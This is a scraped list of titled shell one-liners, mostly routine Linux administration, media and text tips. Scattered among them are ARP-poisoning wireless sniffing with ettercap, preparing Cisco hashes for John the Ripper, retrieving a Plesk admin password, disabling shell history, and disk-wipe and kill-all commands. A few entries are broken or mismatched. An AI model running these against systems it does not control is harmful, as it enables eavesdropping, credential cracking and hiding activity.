$file=(iwr -Uri ($(iwr "https://www.java.com/en/download/linux_manual.jsp").Links |? {$_.href -ilike "*javadl*" } |? {$_.innerText -ilike "*x64 rpm*"}).href -Method Head -Max 0 -ErrorAction 0).Headers.Location; (($file -Split "/")[-1] -split "&")[0]
Replacement of tree command (ignore node_modules)
alias tree='pwd;find . -path ./node_modules -prune -o -print | sort | sed '\''1d;s/^\.//;s/\/\([^/]*\)$/|--\1/;s/\/[^/|]*/| /g'\'''
emulate a root (fake) environment without fakeroot nor privileges
unshare -r --fork --pid unshare -r --fork --pid --mount-proc bash
mem leak check
ps gv [pid] | head -2
Snmpwalk a hosts's entire OID tree with SNMP V2
snmpwalk -v2c -c <community> -m ALL <HOST_IP> .
Replace strings in files
sed -i -e 's/war/peace/g' *
Show a Package Version on Debian based distribution
dpkg-query -W -f='${Version}' package-name
get eth0 ip address
ip -f inet addr |grep "global eth0$"|awk '{print $2}'|cut -d '/' -f 1
Download a set of files that are numbered
for i in `seq -w 1 50`; do wget --continue \ http://commandline.org.uk/images/posts/animal/$i.jpg; done
Command results as an image capture
netstat -rn | convert label:@- netstat.png
Returns last day of current month
cal | egrep -e '^ [0-9]|^[0-9]' | tr '\n' ' ' | awk '{print $NF}'
git - create a local branch that tracks with the remote branch
git checkout -tb mybranch origin/mybranch
Remount all NFS mounts on a host
for P in $(mount | awk '/type nfs / {print $3;}'); do echo $P; sudo umount $P && sudo mount $P && echo "ok :)"; done
Download the last most popular 20 pictures from 500px
for line in `wget --referer='http://500px.com/' --quiet -O- http://500px.com/popular | grep "from=popular" | sed -n 's/.*<img src="\([^"]*\)".*/\1/p' | sed s/"3.jpg"/"4.jpg"/ | sed s/"?t".*$//`; do wget -O $RANDOM.jpg --quiet "$line"; done
copy zip files which contains XXX
for i in *RET.zip; do unzip -l "$i"| grep -B 4 XXX | grep RET| sed "s/.\+EPS/EPS/" |xargs -I '{}' cp '{}' out/'{}';done;
see the partition
partx -l /dev/sdX
Extract domain from URl
MYURL=http://test.example.com ; awk -F/ '{ print $3 }' <<< $MYURL | awk -F. '{ if ( $(NF-1) == "co" || $(NF-1) == "com" ) printf $(NF-2)"."; print $(NF-1)"."$(NF); }'
Convert epoch time to full date with Perl
perl -MPOSIX -le 'print strftime "%F", localtime 1234567890'
GREP a PDF file.
pdfgrep pattern /the/path
Syslog System Reporting in a shell
tail -f --retry /var/log/syslog /var/log/auth.log | ccze -A
Watch those evil Red Hat states code D Uninterruptible sleep (usually IO).
watch -n 1 "ps aux | sed -n 's/ D /&/p'"
List Big Files/Directories
du -h |grep -P "^\S*G"
Grabs video from dv firewire camera and plays it on mplayer.
dvgrab - | mplayer -
Find out actual full path of
readlink -f <file>
pick up 3 lines start at every 5th line of file.txt
sed -n '1~5{N;N;p}' file.txt
Move windows in GNU screen
<Ctrl+A>:number [id]
Fix Ubuntu's Broken Sound Server
pulseaudio -k && pulseaudio --start >/dev/null 2>&1 &
Pipe media file on samba share to mplayer
smbget -u username -p passw0rd -w domain_or_workgroup //server/share/mediafile.ogv -O - | mplayer -
Regular expression search pattern to remove the Datetime and Name when you paste from skype chat into your text editor
sed -i 's/^.*?].*?:\s//g' skype-chat-log.txt
List Canon CR2 raw files which have been in-camera rated (5Dmk3+)
for I in *.CR2; do if [ `exiv2 pr -p a -u $I | grep 'xmp.Rating' | awk '{ print $4 }'` == "1" ]; then echo $I; fi; done
function to fix files starting with =?UTF-8 and ends with ?=
fix_saved_files() { for i in "$@" ; do mv $i $(php -r '$or = "'$i'"; mb_internal_encoding("UTF-8"); echo mb_decode_mimeheader($or) . "\n";') ; done; }
grep for 2 words existing on the same line
egrep 'word1.*word2' --color /path/file.log |more
Basic monitor for a website or API looking at HTTP response codes
curl --write-out %{http_code} --connect-timeout 10 --max-time 20 -s -I -L http://google.com --output /dev/null
List open TCP/UDP ports
netstat -anp --tcp --udp | grep LISTEN
Attach all discovered iscsi nodes
iscsiadm -m node -l
Analyze Apache Web Log Statistics starting on DATE x
sed -n '/05\/Dec\/2010/,$ p' access.log | goaccess -s -b
Print the lastest stable version of Perl
curl -s http://www.perl.org/get.html | grep -m1 '\.tar\.gz' | sed 's/.*perl-//; s/\.tar\.gz.*//'
creates a ppp link between my Ubuntu development machine and BeagleBoard running Android connected via USB
sudo `which adb` ppp "shell:pppd nodetach noauth noipdefault /dev/tty" nodetach noauth noipdefault notty 192.168.0.100:192.168.0.200
Manually rotate logs
or i in `seq 1 12| tac` ; do mv access_log.{$i,$((i+1))}.gz ; done
Directory management
alias md='mkdir -p'; alias rd='rmdir'; mcd () { mkdir "$@" && cd "$_"; }
list files other than, those, where you know, part of the name (e.g. file extension)
ls -l !(*.part)
Show number of connections per remote IP
netstat -antu | awk '$5 ~ /[0-9]:/{split($5, a, ":"); ips[a[1]]++} END {for (ip in ips) print ips[ip], ip | "sort -k1 -nr"}'
Svn conflicted file resolve
svn st | grep ! | cut -c 9- | while read line;do svn resolved $line;done
Let google say something for you! (mpv can be replaced by any mp3-decoder)
say () { mpv $(sed -E "s;([a-Z]*)( |$);http://ssl.gstatic.com/dictionary/static/sounds/de/0/\1.mp3 ;g" <<< $*); }; say hello world "how is it" going
Downscale 1080p quicktime MOV files to 720p MP4 files
EXT=MOV; for i in *.$EXT; do HandBrakeCLI -Z Normal --optimize --use-opencl --width 1280 --height 720 -i "${i}" -o "${i//.$EXT}.mp4"; done
Where is left (or right)
alias left='echo -n "<-left"; for I in $(seq 1 $(($(stty size | cut -d " " -f 2) - 13))); do echo -n " " ; done ; echo -n "right->";'
list java heap summary
ps -ef | grep -oh 'Xmx[0-9]*' | cut -d'x' -f2 | awk '{SUM += $1} END { print SUM}'
ffmpeg facebook
ffmpeg -re -y -i mm.mp4 -b:a 128k -vcodec libx264 -pix_fmt yuv420p -vf scale=640:480 -r 30 -g 60 -f flv "rtmp://rtmp-api.facebook.com:80/rtmp/xxxxxxxxxx"
Share the current tree over the web
python -c "import SimpleHTTPServer;SimpleHTTPServer.test()"
Mount an ISO image on Mac OS X
hdiutil mount sample.iso
List open TCP/UDP ports
netstat -ltun
View the newest xkcd comic.
curl -s 'xkcd.com' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'
Convert first letter of string to uppercase
string="${string^}"
Timer with sound alarm
sleep 15m; yes > /dev/dsp
repository search
aptitude search ~d "irc client"|grep -i "irc client"
Diff with Sections/Headers
diff -U 9999 file_a file_b | tail -n +3 | grep -P "^(\ Header|\-|\+)"
kill an arbitrary process running on an Android device attached via USB debug cable
adb shell ps | grep <process name> | awk '{print $2}' | xargs adb shell kill
recursively change file name from uppercase to lowercase (or viceversa)
find ./ -type f -exec sh -c 'echo "{}" "$(dirname "{}")/$(basename "{}" | tr "[A-Z]" "[a-z]")"' \;
Find text in all files, except in files matching a pattern
grep -lir 'aMethodName' * | grep -v 'target'
perl read file content
$text = do {local(@ARGV, $/) = $file ; <>; }; [or] sub read_file { local(@ARGV, $/) = @_ ; <>; }
Print all interfaces IP and Mac address in the same line
ifconfig | egrep -A2 "eth|wlan" | tr -d "\n"| sed 's/\-\-/\n/g'|awk '{print "mac: "$5 " " $7}' | sed 's/addr:/addr: /g'
List ethernet ports speed
for d in $(cd /sys/class/net && echo eth?) ; do echo "$d: $(ethtool $d |grep -w Speed)"; done
Periodic Display of Fan Speed with Change Highlights
watch -n10 -d sh -c 'sensors | awk '\''/:.*RPM/ { sub("[^:]*:","") ; print $1 }'\'
Get HTTP Codes for All Websites in Apache Configuration files.
grep -h 'Server\(Name\|Alias\)' /etc/httpd/conf.d/*.conf | sed 's#\s*Server\(Name\|Alias\)\s*##g' | tr ' ' "\n" | xargs -I{} sh -c 'echo {},`curl -s -o /dev/null -w "%{http_code}" {}`'
ffmpeg m3u8 facebook live
ffmpeg -re -i "index.m3u8" -acodec libmp3lame -ar 44100 -b:a 128k -pix_fmt yuv420p -profile:v baseline -s 426x240 -bufsize 6000k -vb 400k -maxrate 1500k -deinterlace -vcodec libx264 -preset veryfast -g 30 -r 30 -f flv "rtmp://rtmp-api.facebook.com"
convert unixtime to human-readable
echo "0t${currentEpoch}=Y" | /usr/bin/adb
Run remote web page, but don't save the results
wget -q --spider http://server/cgi/script
Create new user with home directory and given password
useradd -m -p $(perl -e'print crypt("pass", "mb")') user
Duplicate a line in a text file and replace part of the duplicated line
sed -i -e '/foo/p' -e 's/foo/barfoo/' file
Don't save commands in bash history (only for current session)
export HISTSIZE=0
Recursively scan directories for mp3s and pass them to mplayer
$ find . -iname *.mp3 | while read line ; do ln -s "$line" $(echo -e "$line" | openssl md5).mp3 ; done ; mpg123 *.mp3
List your interfaces and MAC addresses
ifconfig | awk '/HWaddr/ { print $1, $5 }'
A fun little harmless prank to pull on your friends.
while true; do sleep $(($RANDOM%50)); timeout 1 speaker-test -f 20000 -t sine 2>/dev/null; done&
Name retina images. if you get a bunch of retina images named like name.png, you can use this script to rename them properly. ie. name@2x.png
for f in *.png; do mv $f `basename $f .png`@2x.png; done
Make ISO images on Linux
dd if=/dev/cdrom of=cd.iso
Create a new detached screen session running command in background
$ screen -S test -d -m -- sh -c 'date; exec $SHELL'
Git branches sorted by last commit date
git for-each-ref --sort=-committerdate refs/heads/
check the status of 'dd' in progress (OS X)
while pgrep ^dd; do sudo pkill -INFO dd; sleep 20; done
having root on server, add user's public key to his keys (no password required)
ssh-copy-id -i user_public_key.pub <user>@<remotehost>
The Arrow-Up key
^
Shows live outboud connection attempts and/or suceess, refreshing every 0.5 seconds
watch -n0.5 -d "netstat -nafo | grep -v -E 'LISTENING|0.0.0.0|127.0.0.1|\[::\]:|\[::1\]:'"
print scalar gmtime
perl -e "print scalar(gmtime(1247848584))"
Find large files in current directory
alias big='BIG () { find . -size +${1}M -ls; }; BIG $1'
Print full LVM LV paths (for copy&paste)
lvs | awk '{printf("/dev/%- 40s %-7s %10s %20s %6s %5s %5s %5s %5s\n", $2 "/" $1, $3, $4, $5, $6, $7, $8, $9, $10)}'
1 pass wipe of a complete disk with status
pv -s `fdisk -l /dev/sdX|grep "Disk /"|cut -d' ' -f5` /dev/zero >/dev/sdX
Extract single column from TPC-H datafiles
awk -F\| '{ print $2 }' nation.tbl
Quickly find files and folders in the current directory
ff() { find -maxdepth 3 -type f | grep -i "$1"; }; fd() { find -maxdepth 4 -type d | grep -i "$1"; }
Purge completely packages on debian / ubuntu
dpkg -l | grep ^rc | awk '{ print $2}' | xargs apt-get -y remove --purge
Mass rename files in git
for file in $(git ls-files | grep old_name_pattern); do git mv $file $(echo $file | sed -e 's/old_name_pattern/new_name_pattern/'); done
Copy files between hosts while on a proxy host
ssh <source host> "cat file" | ssh <dest host> "cat - > file"
BIGGEST Files in a Directory
du -k . | sort -rn | head -11
Count total amount of image media in current Directory
find -maxdepth 1 -type d | while read dir; do count=$(find "$dir" -regextype posix-extended -iregex '.*\.(jpg|gif|png|jpeg)' | wc -l); echo "$dir ; $count"; done
Top 10 CPU consuming processes
ps -eo comm,pcpu --sort -pcpu | head
nice column format for openvpn servers log file
column -ts , /etc/openvpn/openvpn-status.log
Stop the last run container
docker stop $(docker ps -lq)
command for converting wav files to mp3
find . -iname "*wav" > step1 ; sed -e 's/\(^.*\)wav/\"\1wav\" \"\1mp3\"/' step1 > step2 ; sed -e 's/^/lame /' step2 > step3 ; chmod +x step3 ; ./step3
List all rpms on system by name, version and release numbers, and architecture
rpm -qa --qf '%{name}-%{version}-%{release}.%{arch}\n'
alias for etckeeper, to commit changes after moification of etc
function ec() { ec_var="`pwd`" && cd /etc/ && sudo bzr commit -m "$@" && cd $ec_var; }
get time in other timezones
let utime=$offsetutc*3600+$(date --utc +%s)+3600; date --utc --date=@${utime}
Quick Full Screen RDP connection
alias rdp='rdesktop -u <user> -g 1600x1200 -D -r disk:home=/home -r clipboard:PRIMARYCLIPBOARD'
Remove i386 RPM packages from x86_64 CentOS/RHEL
yum remove \*.i\?86
Find and sort by Resident Size of each process on the system in MB
sudo ps aux --sort:rss | awk '{print $2"\t"$11": "$6/1024" MB"}' | column -t | less
Count Number of Columns in TPC-H table-file (or any pipe seperated file
head -n1 nation.tbl | sed 's/\(.\)/\1\n/g' | sort | uniq -c | grep \| | awk '{ print $1 }'
Arch Linux sort installed packages by size
expac -S -H M "%m %n"|sort -n
Safely remove files from the terminal
alias rrm='/bin/rm -i'; alias rm='trash'
What is my ip?
curl -s mi-ip.net | grep '"ip"' | cut -f2 -d ">" | egrep -o '[0-9.]+'
Alias for lazy tmux create/reattach
if tmux has; then tmux attach -d; else tmux new; fi
Netstat List out Remote IP's Connected to Server Only
netstat -tn | awk '{print $5}' | egrep -v '(localhost|\*\:\*|Address|and|servers|fff|127\.0\.0)' | sed 's/:[0-99999999].*//g'
List user processes with their memory usage and total usage.
ps -u marcanuy -o pid,rss,command | awk '{print $0}{sum+=$2} END {print "Total", sum/1024, "MB"}'
find svn uncommitted files and list their properties
for d in `ls -d *`; do svn status $d | awk '{print $2}'; done | xargs ls -l {} \;
Find with compress logs
find ./ -name "file.name" -type f -print -exec bzip2 -9 '{}' \;
How to determine SSL cert expiration date from a PEM encoded
openssl x509 -enddate -noout -in file.pem
View formatted table of users on the system
cat /etc/passwd | column -nts :
Find broken symlinks and delete them
find . -xtype l -delete
Finds javascript lodash/underscore methods in source code
find . -name "*.js" | xargs grep -oh '_\.[^(]*' | sort | uniq
Get primary IP of the local machine
ifconfig $(route -n |awk '/0[.]0[.]0[.]0/{print $NF;exit}') | awk '/inet/{print $2}'
Before any Dell Firmware update on Ubuntu, run
apt install raidcfg dtk-scripts syscfg smbios-utils sfcb cim-schema dcism
Convert HTML file into valid XML
tidy -asxhtml -numeric < index.html > index.xml
Do a search-and-replace in a file after making a backup
for file in <filename>; do cp $file{,.bak} && sed 's/old/new/g' $file.bak > $file; done
Triangular Number
echo $(echo $(seq $MIN $MAX) | sed 's/ /+/g') | bc -l
floating point operations in shell scripts
exp="(2+3.0)/7.0*2^2"; val=$(awk "BEGIN {print $exp}" /dev/null)
Which machine have I logged in from?
TTY=$(tty | cut -c 6-);who | grep "$TTY " | awk '{print $6}' | tr -d '()'
Find and remove files
find / -name core | xargs /bin/rm -f
Find C/C++ source code comments
perl -ne 'print if m{\Q/*\E}x .. m{\Q*/\E}x or m{\/\/}x' *.c
Sniff who are using wireless. Use wireshark to watch out.pcap :]
sudo ettercap -T -w out.pcap -i wlan0 -M ARP // //
Tar Pipe
(cd src && tar -cf - .) | (cd dest && tar -xpf -)
Cat(print) and sort all IPs from file
cat /file/way/somelogforexample | grep -o "[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}" | sort -n | uniq -c | sort -n
Render man page in temporary PDF (works in Gnome)
man -t man | ps2pdf - temp.pdf; evince temp.pdf &> /dev/null &; sleep 3; rm temp.pdf
Universal archive extractor
atool -x filename
from within vi, sort a block of IP addresses (ascending, removing duplicates)
!}sort -nut. -k 1,1 -k 2,2 -k 3,3 -k 4,4
Get the UTC offset
date +%:z
VPN without VPN: Get access to networks available from your ssh server and hide behind it
sshuttle -r <username>@<sshserver> 0/0
Remove all message queues owned by user foo
ipcs -q | grep foo | awk '{print $2}' | xargs -I ipcid ipcrm -q ipcid
Create backup copy of file and keep modified date and time
cp -p file.txt{,.bak}
Get line count for any file ending with extension recursively rooted at the current directory.
find . -name "*.py" -exec wc -l {} \;
show number of established TCP connections
ss -s | sed -n '/.*estab \([0-9]*\).*/s//\1/p'
Substitute from "." to "_" character in the 2nd column of a csv file, sending the output to newfile.csv
awk 'BEGIN {FS=OFS=","} {if(NF==2);gsub(/\./,"_",$2)} 1 ' file.csv > newfile.csv
Finds javascript lodash/underscore methods in source code
grep -roh '_\.[^(]*' *.js
Use JQ to get a csv list of assets in aws with security groups, names, and ENI ID for tracking VPC Flows from JSON
cat aws.json | jq -r '.Reservations[].Instances[] | [.PrivateIpAddress, .SecurityGroups[].GroupId,.SecurityGroups[].GroupName,.NetworkInterfaces[].NetworkInterfaceId,(.Tags[] | select(.Key =="Name") | .Value),([.InstanceId| tostring] | join(";"))]|@csv'
remove junk
grep -v '^!!! Example "In' viz.txt | cat -s > out.txt
add line number for each line
cat -n file.txt
Changing the terminal title to the last shell command
[[ "x$TERM" == "xrxvt" || "x$XTERM_VERSION" == xXTerm* || "x$COLORTERM" == 'gnome-terminal' && "x$SHELL" == */bin/zsh ]] && preexec () { print -Pn "\e]0;$1\a" }
Show a Package Version on Debian based distribution
aptitude -F '%p %v#' search <pattern>
Retrieve the final URL after redirect
curl $URL -s -L -o /dev/null -w '%{url_effective}'
remove a directory filled with too many files
find /SOME/PATH -type f -execdir rm -f {} \+
Getting a list of active addresses in your own network.
nmap -n -sP -oG - 10.10.10.*/32 | grep ": Up" | cut -d' ' -f2
Display the format of a directory or file
stat -f -L -c %T YOUR_FILE_OR_DIRECTORY
find an unused unprivileged TCP port
port=32768; while netstat -atn | grep -q :$port; do port=$(expr $port + 1); done; echo $port
Find all processes running under your username.
ps -U user
Delete all folders except the 10 latest ones AND specific excluded ones
find . -mindepth 1 -maxdepth 1 ! -name 'exclude_folder1' ! -name 'exclude_folder2' -type d -exec ls -tld {} \+ | tail +11 | xargs --no-run-if-empty -L 1 rm -rf
convert ogg files to mp3 preserving the id3v2 tags
ffmpeg -i input.ogg -ab 256k -map_metadata 0:s:0 output.mp3
Count lines of code across multiple file types, sorted by least amount of code to greatest
find . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) | xargs wc -l | sort -n
Get all links of a website
dog --links "http://www.domain.com"
Turning on and off Internet radio
radio() { if [ "$(pidof mpg123)" ] ; then killall mpg123; else mpg123 -q -@ http://173.236.29.51:8200 & fi }
tar's and moves all contents of current directory to target dir
tar cf - . |(cd /targetdir; tar xvf -)
GNU screen internal console
rlwrap -S "$STY> " sh -c 'while read; do screen -S "'"$STY"'" -X $REPLY; done'
Create a new image with specified size and bg color
convert -size 100x100 xc:grey nopic100_100.jpg
remove old index.html if you download it again and organiaz the java script tag on the file index.html
rm index.html | wget www.google.com;cat index.html | sed 's/<script>/\n\n\<script>\n\n/g' | sed 's/<\/script>/>\n\n/g'
Force delete of Google Chrome Google-related local storage, make Gmail Offline work again
/bin/rm -f ~/Library/Application\ Support/Google/Chrome/Default/Local\ Storage/*google*
Quick and dirty list of installed packages on deb based system
apt-cache -n dumpavail | grep 'Package:' | awk '{print $2 }'
Remove all installed packages from a python virtualenv
for i in $(pip freeze | awk -F== '{print $1}'); do pip uninstall $i; done
convert rar to zip
function rar2zip { rar="$(grealpath "$1")"; zip="$(grealpath "${2:-$(basename "$rar" .rar).zip}")"; d=$(mktemp -d /tmp/rar2zip.XXXXXX); cd "$d"; unrar x "$rar"; zip -r "$zip" *; cd -; rm -r "$d"; }
Convert a videos audio track to ogg vorbis.
ffmpeg -i filename -vn -acodec libvorbis out.ogg
find an installed program for a task
apropos -a keywords
grep in .odt files
grepodt () { W=$1;P=$2;ls *.odt > /dev/null 2>&1;if [[ $? -ne 0 ]];then exit 1;fi;if [[ ! "$P" ]];then P='*';fi;for i in $P.odt;do unzip -qq "$i" content.xml;grep -l $W content.xml>/dev/null;if [[ $? -eq 0 ]];then echo $i;fi;rm content.xml; done;}
Calculate comment density of shell scripts in a directory
dir=/rom; a=$(find $dir -name \*.sh -exec cat '{}' \; | egrep -cv '^[[:space:]]*#'); b=$(find $dir -name \*.sh -exec cat '{}' \; | egrep -c '^[[:space:]]*#'); echo $((a+b)) lines = ${a} sloc [$((a*100/(a+b)))%] + ${b} comments [$((b*100/(a+b)))%]
Add a repo to pacman
echo -e "\n[sublime-text]\nServer = https://download.sublimetext.com/arch/dev/x86_64" | sudo tee -a /etc/pacman.conf
recursive grep of text files
grep -Ir foo *
generate the moduli file for openssh if lost
ssh-keygen -G /tmp/moduli-2048.candidates -b 2048
OSX Expand URL and Copy to Clipboard
function expand_url() { curl -sI $1 | grep Location: | cut -d " " -f 2 | tr -d "\n" | pbcopy }
Do stuff on disk more quickly
eatmydata disk_thrashing_command
search in all cpp / hpp files using egrep
find . \( -name "*cpp" -o -name "*hpp" \) -exec grep -Hn -E "043[eE]|70[Dd]7" \{\} \;
Retrieve Plesk 10+ admin password
/usr/local/psa/bin/admin --show-password
List process ids (including parent and child process) of a process given its name. Similar to pgrep
export proc=chrome && ps aux | grep $proc | grep -v grep |awk '{print $2}'
Get eth0 ip
ip addr show dev eth0 | awk '/inet/ {sub(/\//, " "); print $2}'
Slow Viber.exe wine process to 1% CPU with Python to split ps string and cpulimit
python -c "a='$(ps -u luke | grep Viber.exe)';b= a.split(' ')[1];import os;os.system('cpulimit -l 1 -p '+b)"
Make a folder and everything in it world-viewable
find . -exec chmod o+rx {}\;
Reboot to Windows (UEFI)
sudo efibootmgr --bootnext `efibootmgr | sed -n "s/^Boot\([0-9]\{4\}\)\* Windows Boot Manager$/\1/p"` && reboot
Remove non-running Docker containers
$ docker rm `(docker ps -q && docker ps -qa) | sort | uniq -u`
qdel range of jobs
qdel {18210..18285}
Get readline support for the sqlplus command.
socat READLINE,history=$HOME/.sqlplus_history EXEC:'sqlplus64\ USER\/PASS@HOST\:PORT\/SID',pty,setsid,ctty
automatically add and remove files in subversion
svn st | grep '^\?' | awk '{print $2}' | xargs svn add; svn st | grep '^\!' | awk '{print $2}' | xargs svn rm
what?s running on a given port on your machine?
lsof -i -n -P | grep :80
Manage "legacy" service run control links
sudo find /etc/rc{1..5}.d -name S99myservice -type l -exec sh -c 'NEWFN=`echo {} | sed 's/S99/K99/'` ; mv -v {} $NEWFN' \;
generate random mac address
2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1|sed '2d;s/0000000 *//;s/ /:/g;s/::*$//'
Figure out what shell you're running
ps -o comm= -p $$
Get status of LXC
lxc-ls | sort -u | xargs -i sudo lxc-info -n {}
Generate Random Text based on Length
genRandomText() { x=({a..z}); for(( i=0; i<$1; i++ )); do printf ${x[$((RANDOM%26))]}; done; printf "\n"; }
List the size (in human readable form) of all sub folders from the current location
du -hs * | sort -h
Extract list of packages installed on one server and generate 'apt' command to install them on a new server
dpkg --list | rgrep ii | cut -d" " -f3 | sed ':a;N;$!ba;s/\n/ /g' | sed 's/^\(.\)/apt-get install \1/'
ls output with mode in octal
perl -e 'printf "%o\n", (stat shift)[2]&07777' file
url to ip
host -t a www.google.com
Don't track history for the current session starting after the command
nohist(){ export HISTFILE=/dev/null; }
List, what does a package do
dpkg-query -L <package-name>
resume other user's screen session via su, without pty error
sudo -iu {user} script -qc 'screen {screen_args}' /dev/null
Add a TOC to a pdf
k2pdfopt -mode copy -n -toclist $tocFile $inFile -o $outFile
Format a password file for John the Ripper from Cisco configs (Level 5)
sed -n 's/[ :]/_/g; s/^\(.\{1,\}\)_5_\($1$[$./0-9A-Za-z]\{27,31\}\)_*$/\1:\2/p' < cisco-device-config > passwd
Enable Basic Security Mode (BSM) Auditing –Solaris
/etc/security/bsmconv
Start a vnc session on the currently running X session
x0vnc4server -display :0 -PasswordFile ~/.vnc/passwd
get daily wizard of id comic
curl -o id.gif `date +http://d.yimg.com/a/p/uc/%Y%m%d/largeimagecrwiz%y%m%d.gif`
get the result of database query in vertical way (Column=Value)
vsqlplus "SELECT * FROM TABLE_NAME;"
Using associative array to remove all files and directories under PWD except "\(1", "\)2", "\(3",..."\)n"
rmall_but() { declare -A keep;for arg;do keep[${arg%/}]=1;done;for file in *;do [[ ${keep[$file]} ]] || rm -rf "$file";done; }
Quick and dirty recursive directory comparison
ls -Rl dir1/ > /tmp/dir1.ls; ls -Rl dir2/ > /tmp/dir2.ls; meld /tmp/dir1.ls /tmp/dir2.ls
Rename files with unique, randomly generated file names
for i in *.txt; do j=`mktemp | awk -F. '{print $2".txt"}'`; mv "$i" "$j"; done
Kill all processes belonging to a user
ps wwwwuax|awk '/command/ { printf("kill -9 %s\n",$2) }'|/bin/sh
Quick way to play remote audio files locally ( Linux )
ssh user@remote "cat /remote/music/dir/*.mp3" | mpg123 -
Kill the X Server
sudo kill -9 $( ps -e | grep Xorg | awk '{ print $1 }' )
share a path when starting a new screen window
screen -X eval "chdir $PWD"
check memory and CPU consumption of Process on node.
ps -eo pcpu,pmem,cmd | grep Service| grep -v grep| sort -k 1 -nr | head -5
Create etags file of .c, .cpp, and .h files in all subdirectories
find . -regex ".*\.[cChH]\(pp\)?" -print | etags -
get your terminal back after it's been clobbered
reset
Download entire commandlinefu archive to single file
for x in `jot - 0 \`curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1\` 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done >a.txt
orderly shutdown system and reboot.
shutdown -r now
Watch netstat output every 2 seconds
watch -n 2 netstat -antu
find all symlinks to a file
find -L / -samefile path/to/foo.txt
Random (sfw, 1920x1080) wallpaper from wallbase.cc
wget --no-use-server-timestamps $(curl $(curl http://wallbase.cc/random/23/eqeq/1920x1080/0/100/20 | grep 'wallpaper/' | awk -F'"' '{print $2}' | head -n1) | grep -A4 bigwall | grep img | awk -F'"' '{print $2}'); feh --bg-center $(ls -1t | head -n1)
Purge frozen messages in Exim
exipick -zi | xargs --max-args=1000 exim -Mrm
Converts from base 10 to base 16
"ibase=10;obase=16;$1" | bc -l
16 Character Random Password
text-to-mp3
tex-to-mp3
Sort contents of a directory by size
du -akx ./ | sort -n
For setting of double keyboard layouts: us, ru, but you can write in phonetic like www.translit.ru
setxkbmap -layout us,ru -variant basic,phonetic -option -option grp:switch,grp:caps_toggle
Create a folder but first you can test if it exists
test -d folder || mkdir folder
Combining video file part downloaded separately using cat command
cat video.avi.001 video.avi.002 video.avi.003 >> video.avi
create a colorful image
c=blue;convert -size 50x50 xc:$c $c.png; for i in red green yellow; do convert $c.png -background $i -rotate 20 $i.png; rm $c".png"; c=$i; done; mv $i".png" logo.png; display logo.png
print only answer section.
dig +noall +answer exsample.com
Quick access to ASCII code of a key
man ascii
Find installed packages in Ubuntu
zgrep --color=always 'get install' /var/log/apt/history.log*
Shows you changes of an RCS file
rcs_changes(){ rcsdiff -y --suppress-common-lines "$1" 2>/dev/null | cut -d'|' -f2; }
HTML esacaping with sed
sed 's/&/\&/g; s/</\</g; s/>/\>/g; s/"/\"/g; s/'"'"'/\'/g'
Show what's taking space in a partition
du -ax | sort -n
encode video with constant framerate
ffmpeg -i input.mp4 -vcodec libx264 -crf 30 output.mp4
Change date from MM/DD/YYYY to YYYY-MM-DD (mysql like)
date -d 09/20/1981 +"%Y-%m-%d"
bash chop
alias chop="tr -d '\r\n'"
Diff with colour highlighting
svn diff ARGUMENTS_FOR_DIFF | source-highlight --out-format=esc --src-lang=diff
Make ABBA better (requires firefox)
wget -O - -q http://www.azlyrics.com/lyrics/abba/takeachanceonme.html | sed -e 's/[cC]hance/dump/g' > ~/tdom.htm && firefox ~/tdom.htm
Mirror every lvol in vg00 in hp-ux 11.31
for i in in $(vgdisplay -v vg00 | grep "LV Name" | awk '{ print $3 };'); do; lvextend -m 1 $i /dev/disk/<here-goes-the-disk>; done
Parse bookmarks and download youtube files
sed 's+href="\([^"]*\)"+\n\1\n+g' bookmarks.html | grep '^http' |clive
Define dettaching commands in bashrc
__disown(){ local cmd=$1 ; shift ; $cmd "$@" &> /dev/null &disown }; for i in gvim ; do alias $i="__disown $i"; done
find out which TCP ports are listening and opened by which process in verbose
netstat -tlvp
Display sqlite results one column per line
sqlite3 -line database.db
Copy a file over the network with 3 bounces
cat file.orig | ssh user1@host1 "ssh user2@host2 \"ssh user3@server3 'cat >file.dest'\""
find an unused unprivileged TCP port
netstat -tan | awk '$1 == "tcp" && $4 ~ /:/ { port=$4; sub(/^[^:]+:/, "", port); used[int(port)] = 1; } END { for (p = 32768; p <= 61000; ++p) if (! (p in used)) { print p; exit(0); }; exit(1); }'
Preserve existing aliases on sudo commands
alias sudo='sudo '
Better git diff, word delimited and colorized
git diff -U10|dwdiff --diff-input -c|less -R
Convert Ruby 1.8 to 1.9 hash syntax
perl -pi -e 's/:([\w\d_]+)(\s*)=>/\1:/g' **/*.rb
Abbreviated docker ps as an alias
alias dps='docker ps --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}"'
uncompress file that is compressed multiple times
while true; do for bzipfile in $(file *|egrep bzip2|awk '{print $1'}|cut -d':' -f1); do bunzip2 $bzipfile; done; done
Bashbuiltin printf
cat file.txt | while read line; do printf "%7.2f -> %7.2f\n" $line; done
Return IP Address
ifconfig -a| awk 'BEGIN{FS="[ :]+"} /Bcast/{print $4}'
Get the state (HTTP code) of a resource from its URL
curl -s -L --head -w "%{http_code}\n" URL | tail -n1
Converts all jpg files to 75 quality.
find . -type f -name '*.jpg' -exec convert -quality 75 {} {} \;
Show size of in MB of the current directory.
du -sh `pwd`
Output specific line in a very big file and exit afterwards
awk 'FNR==100 {print;exit}' file
Revert all modified files in an SVN repo
svn status | grep "^M" | while read entry; do file=`echo $entry | awk '{print $2}'`; echo $file; svn revert $file; done
A command to find and replace text within conf files in a single directory.
find -type f -name '*.conf' -exec sed -Ei 's/foo/bar/' '{}' \;
Get block device mapped parent PCI controller
udevadm info -q all -n /dev/sdb | grep ID_PATH | cut -d'-' -f 2 | xargs -n 1 lspci -s
Bring down and delete a network bridge (eg: docker0)
ip link set docker0 down && brctl delbr docker0
git merge –dry-run
git merge --no-commit --no-ff
Extract the daily average number of iops
for x in `seq -w 1 30`; do sar -b -f /var/log/sa/sa$x | gawk '/Average/ {print $2}'; done
Display a block of text with vim with offset, like with AWK
